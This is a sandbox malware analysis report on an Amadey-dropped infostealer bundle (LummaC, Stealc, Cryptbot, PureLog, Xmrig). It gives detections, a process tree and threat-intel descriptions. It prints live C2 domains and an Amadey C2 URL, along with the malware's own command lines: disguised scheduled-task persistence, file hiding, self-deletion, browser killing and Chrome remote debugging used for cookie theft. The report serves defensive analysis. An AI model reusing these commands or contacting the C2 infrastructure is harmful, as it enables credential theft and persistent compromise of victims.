Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1577982
MD5:8cbe0ced0c0f7bfbdf19128ba80adb99
SHA1:15e615a0fe64fe5200dd916232d9bc26b1c3d815
SHA256:055c34101c332838618fdedb730655f61b97553c5e56df94efd373667a3db895
Tags:exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected Cryptbot
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected PureLog Stealer
Yara detected Stealc
Yara detected Xmrig cryptocurrency miner
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Creates multiple autostart registry keys
Drops password protected ZIP file
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Found strings related to Crypto-Mining
Hides threads from debuggers
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Leaks process information
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses cmd line tools excessively to alter registry or file data
Uses ping.exe to check the status of other devices and networks
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Enables security privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 6540 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8CBE0CED0C0F7BFBDF19128BA80ADB99)
    • skotes.exe (PID: 5332 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8CBE0CED0C0F7BFBDF19128BA80ADB99)
  • skotes.exe (PID: 6404 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8CBE0CED0C0F7BFBDF19128BA80ADB99)
  • skotes.exe (PID: 6756 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8CBE0CED0C0F7BFBDF19128BA80ADB99)
    • 2ebf261090.exe (PID: 3496 cmdline: "C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)
      • cmd.exe (PID: 1440 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • mode.com (PID: 6532 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)
        • 7z.exe (PID: 6484 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 5552 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 2292 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 6580 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 2200 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 6972 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 6948 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • 7z.exe (PID: 6688 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)
        • attrib.exe (PID: 2076 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
        • in.exe (PID: 3440 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)
          • attrib.exe (PID: 1600 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
            • conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • attrib.exe (PID: 7152 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
            • conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • schtasks.exe (PID: 3480 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)
            • conhost.exe (PID: 4460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • powershell.exe (PID: 2716 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 1784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • PING.EXE (PID: 6556 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)
    • 1eb4b174fd.exe (PID: 6828 cmdline: "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)
      • 1eb4b174fd.exe (PID: 3472 cmdline: "C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)
    • fd98346557.exe (PID: 3872 cmdline: "C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe" MD5: 1BBA40CD593BED2B1F35529F02A1BC01)
    • 1f3cab3382.exe (PID: 5360 cmdline: "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe" MD5: FFD3E08783983AA539D8056C4A45755A)
    • d173cd9705.exe (PID: 5832 cmdline: "C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe" MD5: 9122E2BCF23186C18F6600AA3548A997)
      • chrome.exe (PID: 5380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
        • chrome.exe (PID: 2516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2084,i,17663144075808195390,7313190882510113121,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • 0d11b39aa9.exe (PID: 7148 cmdline: "C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe" MD5: DFB8C708CCB6C1DB1E96A93C74F43FED)
      • taskkill.exe (PID: 7212 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
        • conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • taskkill.exe (PID: 7316 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
        • conhost.exe (PID: 7324 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • taskkill.exe (PID: 7384 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
  • Intel_PTT_EK_Recertification.exe (PID: 6824 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)
    • explorer.exe (PID: 6300 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
    • powershell.exe (PID: 5592 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 5352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • PING.EXE (PID: 6572 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)
  • 1f3cab3382.exe (PID: 1256 cmdline: "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe" MD5: FFD3E08783983AA539D8056C4A45755A)
  • Intel_PTT_EK_Recertification.exe (PID: 5552 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)
    • explorer.exe (PID: 3836 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
    • powershell.exe (PID: 2436 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 1396 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • 1f3cab3382.exe (PID: 2292 cmdline: "C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe" MD5: FFD3E08783983AA539D8056C4A45755A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Lumma Stealer, LummaC2 StealerLumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
NameDescriptionAttributionBlogpost URLsLink
AmadeyAmadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
NameDescriptionAttributionBlogpost URLsLink
CryptBotA typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot
NameDescriptionAttributionBlogpost URLsLink
StealcStealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "aspecteirs.lat", "crosshuaht.lat", "grannyejh.lat", "energyaffai.lat", "necklacebudi.lat", "lossekniyyt.click", "sustainskelet.lat", "discokeyus.lat"], "Build id": "9Z1cyc--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_CryptbotYara detected CryptbotJoe Security
    dump.pcapJoeSecurity_Stealc_1Yara detected StealcJoe Security
      sslproxydump.pcapJoeSecurity_LummaCStealer_3Yara detected LummaC StealerJoe Security
        sslproxydump.pcapJoeSecurity_LummaCStealer_2Yara detected LummaC StealerJoe Security

          Dropped Files

          SourceRuleDescriptionAuthorStrings
          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
              C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
                C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

                  Memory Dumps

                  SourceRuleDescriptionAuthorStrings
                  00000026.00000003.3250651286.0000000000D83000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
                    00000028.00000003.3414236004.0000000000B13000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
                      00000026.00000003.3248838513.0000000000D81000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
                        0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
                          0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
                            Click to see the 39 entries

                            Unpacked PEs

                            SourceRuleDescriptionAuthorStrings
                            2.2.skotes.exe.a80000.0.unpackJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                              0.2.file.exe.860000.0.unpackJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                                35.2.1eb4b174fd.exe.3cc94e0.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                                  35.0.1eb4b174fd.exe.5f0000.0.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
                                    35.0.1eb4b174fd.exe.5f0000.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                                      Click to see the 25 entries

                                      Sigma Signatures

                                      System Summary

                                      barindex
                                      Sigma detected: New RUN Key Pointing to Suspicious Folder
                                      Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6756, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1f3cab3382.exe
                                      Sigma detected: Browser Started with Remote Debugging
                                      Source: Process startedAuthor: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe, ParentProcessId: 5832, ParentProcessName: d173cd9705.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 5380, ProcessName: chrome.exe
                                      Sigma detected: CurrentVersion Autorun Keys Modification
                                      Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6756, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1f3cab3382.exe
                                      Sigma detected: Suspicious Add Scheduled Task Parent
                                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3440, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 3480, ProcessName: schtasks.exe
                                      Sigma detected: Suspicious Schtasks From Env Var Folder
                                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3440, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 3480, ProcessName: schtasks.exe
                                      Sigma detected: Non Interactive PowerShell Process Spawned
                                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3440, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 2716, ProcessName: powershell.exe
                                      Sigma detected: Windows Processes Suspicious Parent Directory
                                      Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1396, ProcessName: svchost.exe

                                      Suricata Signatures

                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:31.192582+010020283713Unknown Traffic192.168.2.549855104.21.12.88443TCP
                                      2024-12-19T01:09:33.162273+010020283713Unknown Traffic192.168.2.549863104.21.12.88443TCP
                                      2024-12-19T01:09:35.420300+010020283713Unknown Traffic192.168.2.549868104.21.12.88443TCP
                                      2024-12-19T01:09:37.479442+010020283713Unknown Traffic192.168.2.549874104.21.12.88443TCP
                                      2024-12-19T01:09:39.543820+010020283713Unknown Traffic192.168.2.549879104.21.12.88443TCP
                                      2024-12-19T01:09:42.082702+010020283713Unknown Traffic192.168.2.549886104.21.12.88443TCP
                                      2024-12-19T01:09:44.867076+010020283713Unknown Traffic192.168.2.549895104.21.12.88443TCP
                                      2024-12-19T01:09:48.677859+010020283713Unknown Traffic192.168.2.549907104.21.12.88443TCP
                                      2024-12-19T01:09:51.876103+010020283713Unknown Traffic192.168.2.549915172.67.179.109443TCP
                                      2024-12-19T01:09:53.915779+010020283713Unknown Traffic192.168.2.549923172.67.179.109443TCP
                                      2024-12-19T01:09:56.578661+010020283713Unknown Traffic192.168.2.549929172.67.179.109443TCP
                                      2024-12-19T01:09:59.102836+010020283713Unknown Traffic192.168.2.549937172.67.179.109443TCP
                                      2024-12-19T01:10:02.007040+010020283713Unknown Traffic192.168.2.549946172.67.179.109443TCP
                                      2024-12-19T01:10:04.670784+010020283713Unknown Traffic192.168.2.549955172.67.179.109443TCP
                                      2024-12-19T01:10:06.600721+010020283713Unknown Traffic192.168.2.549960172.67.179.109443TCP
                                      2024-12-19T01:10:08.639148+010020283713Unknown Traffic192.168.2.549965172.67.179.109443TCP
                                      2024-12-19T01:10:12.569915+010020283713Unknown Traffic192.168.2.549983172.67.179.109443TCP
                                      2024-12-19T01:10:13.984183+010020283713Unknown Traffic192.168.2.549987172.67.179.109443TCP
                                      2024-12-19T01:10:14.119950+010020283713Unknown Traffic192.168.2.549988172.67.179.109443TCP
                                      2024-12-19T01:10:15.073046+010020283713Unknown Traffic192.168.2.549993172.67.179.109443TCP
                                      2024-12-19T01:10:16.481942+010020283713Unknown Traffic192.168.2.549999172.67.179.109443TCP
                                      2024-12-19T01:10:17.970074+010020283713Unknown Traffic192.168.2.550006172.67.179.109443TCP
                                      2024-12-19T01:10:18.434981+010020283713Unknown Traffic192.168.2.550011172.67.179.109443TCP
                                      2024-12-19T01:10:26.565731+010020283713Unknown Traffic192.168.2.550071104.21.23.76443TCP
                                      2024-12-19T01:10:26.889991+010020283713Unknown Traffic192.168.2.550072172.67.179.109443TCP
                                      2024-12-19T01:10:28.498099+010020283713Unknown Traffic192.168.2.550078104.21.23.76443TCP
                                      2024-12-19T01:10:29.788068+010020283713Unknown Traffic192.168.2.550081172.67.179.109443TCP
                                      2024-12-19T01:10:31.259783+010020283713Unknown Traffic192.168.2.550087172.67.179.109443TCP
                                      2024-12-19T01:10:31.658136+010020283713Unknown Traffic192.168.2.550084104.21.23.76443TCP
                                      2024-12-19T01:10:31.817272+010020283713Unknown Traffic192.168.2.550085104.21.91.209443TCP
                                      2024-12-19T01:10:32.038998+010020283713Unknown Traffic192.168.2.550088172.67.179.109443TCP
                                      2024-12-19T01:10:33.770212+010020283713Unknown Traffic192.168.2.550091104.21.91.209443TCP
                                      2024-12-19T01:10:33.890254+010020283713Unknown Traffic192.168.2.550092104.21.23.76443TCP
                                      2024-12-19T01:10:34.160971+010020283713Unknown Traffic192.168.2.550093172.67.179.109443TCP
                                      2024-12-19T01:10:36.425913+010020283713Unknown Traffic192.168.2.550097104.21.23.76443TCP
                                      2024-12-19T01:10:36.426108+010020283713Unknown Traffic192.168.2.550096172.67.179.109443TCP
                                      2024-12-19T01:10:38.676943+010020283713Unknown Traffic192.168.2.550098104.21.23.76443TCP
                                      2024-12-19T01:10:38.676960+010020283713Unknown Traffic192.168.2.550099104.21.91.209443TCP
                                      2024-12-19T01:10:38.677214+010020283713Unknown Traffic192.168.2.550100172.67.179.109443TCP
                                      2024-12-19T01:10:40.338554+010020283713Unknown Traffic192.168.2.550102104.21.67.146443TCP
                                      2024-12-19T01:10:40.799238+010020283713Unknown Traffic192.168.2.550103104.21.91.209443TCP
                                      2024-12-19T01:10:41.394716+010020283713Unknown Traffic192.168.2.550104104.21.23.76443TCP
                                      2024-12-19T01:10:41.593003+010020283713Unknown Traffic192.168.2.550106172.67.179.109443TCP
                                      2024-12-19T01:10:42.540910+010020283713Unknown Traffic192.168.2.550107104.21.67.146443TCP
                                      2024-12-19T01:10:43.315006+010020283713Unknown Traffic192.168.2.550109104.21.91.209443TCP
                                      2024-12-19T01:10:43.733705+010020283713Unknown Traffic192.168.2.550110172.67.179.109443TCP
                                      2024-12-19T01:10:44.407570+010020283713Unknown Traffic192.168.2.550111104.21.23.76443TCP
                                      2024-12-19T01:10:45.675245+010020283713Unknown Traffic192.168.2.550112104.21.67.146443TCP
                                      2024-12-19T01:10:45.675336+010020283713Unknown Traffic192.168.2.550113104.21.91.209443TCP
                                      2024-12-19T01:10:47.737345+010020283713Unknown Traffic192.168.2.550115104.21.67.146443TCP
                                      2024-12-19T01:10:48.794795+010020283713Unknown Traffic192.168.2.550121104.21.91.209443TCP
                                      2024-12-19T01:10:49.690401+010020283713Unknown Traffic192.168.2.550122104.21.67.146443TCP
                                      2024-12-19T01:10:50.810800+010020283713Unknown Traffic192.168.2.550127104.21.91.209443TCP
                                      2024-12-19T01:10:51.923611+010020283713Unknown Traffic192.168.2.550128104.21.67.146443TCP
                                      2024-12-19T01:10:54.914175+010020283713Unknown Traffic192.168.2.550132104.21.67.146443TCP
                                      2024-12-19T01:10:58.779944+010020283713Unknown Traffic192.168.2.550136104.21.67.146443TCP
                                      2024-12-19T01:11:16.529478+010020283713Unknown Traffic192.168.2.550181172.67.179.109443TCP
                                      2024-12-19T01:11:18.551956+010020283713Unknown Traffic192.168.2.550184172.67.179.109443TCP
                                      2024-12-19T01:11:19.326149+010020283713Unknown Traffic192.168.2.550186104.21.66.85443TCP
                                      2024-12-19T01:11:21.089494+010020283713Unknown Traffic192.168.2.550187172.67.179.109443TCP
                                      2024-12-19T01:11:21.339388+010020283713Unknown Traffic192.168.2.550189104.21.66.85443TCP
